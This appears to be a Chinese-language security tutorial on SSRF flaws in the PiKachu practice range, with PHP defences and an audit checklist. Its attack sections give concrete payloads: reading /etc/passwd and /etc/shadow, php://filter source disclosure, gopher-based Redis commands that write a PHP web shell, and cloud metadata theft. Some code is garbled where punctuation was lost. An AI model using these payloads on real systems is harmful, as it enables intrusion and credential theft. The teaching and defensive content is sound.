
PiKachu靶场SSRF漏洞解析从file_get_contents到curl的攻防实战在Web安全领域服务器端请求伪造SSRF一直是最具破坏力的漏洞之一。想象一下攻击者能够利用你的服务器作为跳板对内网系统发起攻击甚至读取敏感文件——这种借刀杀人的手法正是SSRF最危险的特征。PiKachu靶场作为国内知名的Web安全实验平台其SSRF模块通过精心设计的场景让我们能够安全地探索这种漏洞的运作机制。1. SSRF漏洞核心原理剖析SSRF的本质是服务器对用户提供的URL缺乏充分验证导致攻击者可以操纵服务器向任意地址发起请求。不同于常规的客户端攻击SSRF的特殊性在于攻击链延长传统攻击是客户端直接攻击服务器而SSRF是客户端→服务器→目标系统的三段式攻击内网穿透利用服务器通常位于内网的优势可以绕过防火墙直接访问内部系统协议支持不同函数支持的协议差异会直接影响攻击面如file、dict、gopher等特殊协议在PHP生态中两个最常见的SSRF触发点是// 高危函数示例 $content file_get_contents($_GET[url]); $ch curl_init($_GET[api]);1.1 漏洞危害等级评估根据实际渗透经验SSRF可能造成的危害可分为三个等级危害等级典型场景潜在影响初级风险读取服务器本地文件配置文件泄露、源码泄漏中级风险扫描内网服务发现未授权服务、端口开放情况高级风险攻击云元数据服务获取云服务器临时凭证、接管整个云环境提示AWS、阿里云等云平台的元数据服务(169.254.169.254)是SSRF的高价值目标2. file_get_contents函数深度利用作为PHP最简单的文件读取函数file_get_contents()的危险性常被低估。在PiKachu靶场的SSRF_FGC关卡中我们可以观察到// 漏洞代码示例 $file $_GET[file]; echo file_get_contents($file);2.1 基础文件读取技术通过file协议直接读取系统文件http://target/vul/ssrf/ssrf_fgc.php?filefile:///etc/passwd更高级的利用方式是结合PHP伪协议// 读取PHP源码的经典手法 php://filter/readconvert.base64-encode/resourceconfig.php这种手法的精妙之处在于通过filter实现编码转换避免直接输出时被PHP解析执行Base64编码保证数据完整性2.2 内网服务探测实战当目标服务器在内网时可以尝试探测以下常见服务http://192.168.1.1(路由器管理界面)http://172.16.0.1:8080(常见内网Web服务)http://10.0.0.1:3306(数据库服务)通过响应时间和错误信息差异可以绘制内网拓扑图。例如MySQL端口开放时通常会返回特定的错误头。3. cURL函数的进阶攻击手法相比file_get_contents()curl_exec()支持的协议更丰富攻击面也更广。PiKachu靶场的SSRF_CURL关卡展示了典型场景$ch curl_init(); curl_setopt($ch, CURLOPT_URL, $_GET[url]); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $result curl_exec($ch);3.1 多协议利用矩阵cURL支持的协议及其攻击价值协议利用场景示例file://本地文件读取file:///etc/shadowdict://服务信息收集dict://localhost:6379/infogopher://发送任意TCP数据包gopher://127.0.0.1:6379/_...http://内网Web服务探测http://192.168.1.1:80803.2 Redis未授权访问利用链结合gopher协议攻击Redis是经典案例发现内网Redis服务(通常端口6379)构造Redis命令序列通过gopher协议发送格式化数据包# Redis命令示例 redis_cmd SET shell ?php system($_GET[cmd]);? CONFIG SET dir /var/www/html CONFIG SET dbfilename shell.php SAVE 注意实际攻击时需要将命令转换为gopher格式的URL编码4. 企业级防御方案设计单纯的输入过滤往往存在缺陷我们需要构建多层防御体系4.1 输入验证策略实施白名单正则的双重验证$allowed_hosts [ api.trusted.com, cdn.safe.domain ]; $parsed parse_url($_GET[url]); if(!in_array($parsed[host], $allowed_hosts)){ die(Invalid host); } // 验证URL格式 if(!preg_match(/^https?:\/\/[a-z0-9-](\.[a-z0-9-])*(:[0-9])?(\/.*)?$/i, $_GET[url])){ die(Invalid URL format); }4.2 网络层防护措施限制服务器出站连接防火墙规则使用独立的网络命名空间关键服务设置双向TLS认证云环境配置安全组最小权限4.3 安全编码最佳实践对于必须使用远程请求的场景// 安全示例使用限定条件的cURL $ch curl_init(); curl_setopt($ch, CURLOPT_URL, $validated_url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, false); // 禁用重定向 curl_setopt($ch, CURLOPT_PROTOCOLS, CURLPROTO_HTTP | CURLPROTO_HTTPS); // 协议限制 curl_setopt($ch, CURLOPT_TIMEOUT, 5); // 超时设置 curl_setopt($ch, CURLOPT_MAXREDIRS, 0); // 禁止重定向5. 漏洞检测与自动化审计在企业环境中我们需要系统化的检测方法5.1 静态代码审计要点检查以下高危模式未经验证的用户输入直接作为URL参数允许特殊协议file、gopher、dict等缺少超时和重定向限制错误处理暴露敏感信息5.2 动态测试工具链推荐组合使用这些工具SSRFmap自动化探测和利用Gopherus生成gopher攻击载荷Burp Collaborator带外检测自定义DNS日志监控异常请求# 使用SSRFmap进行测试示例 python3 ssrfmap.py -r request.txt -p urlURL --ssl --level35.3 红队演练checklist完整的SSRF测试应包含[ ] 基础文件读取测试[ ] 内网IP段扫描(192.168/172.16/10.0)[ ] 云元数据服务探测[ ] 特殊协议尝试(file/dict/gopher)[ ] DNS带外测试[ ] 重定向跳转测试在最近的一次渗透测试中我们发现某金融系统虽然对输入URL做了域名白名单校验但未限制重定向最终通过https://trusted.com/redirect?urlhttp://169.254.169.254成功获取到AWS元数据。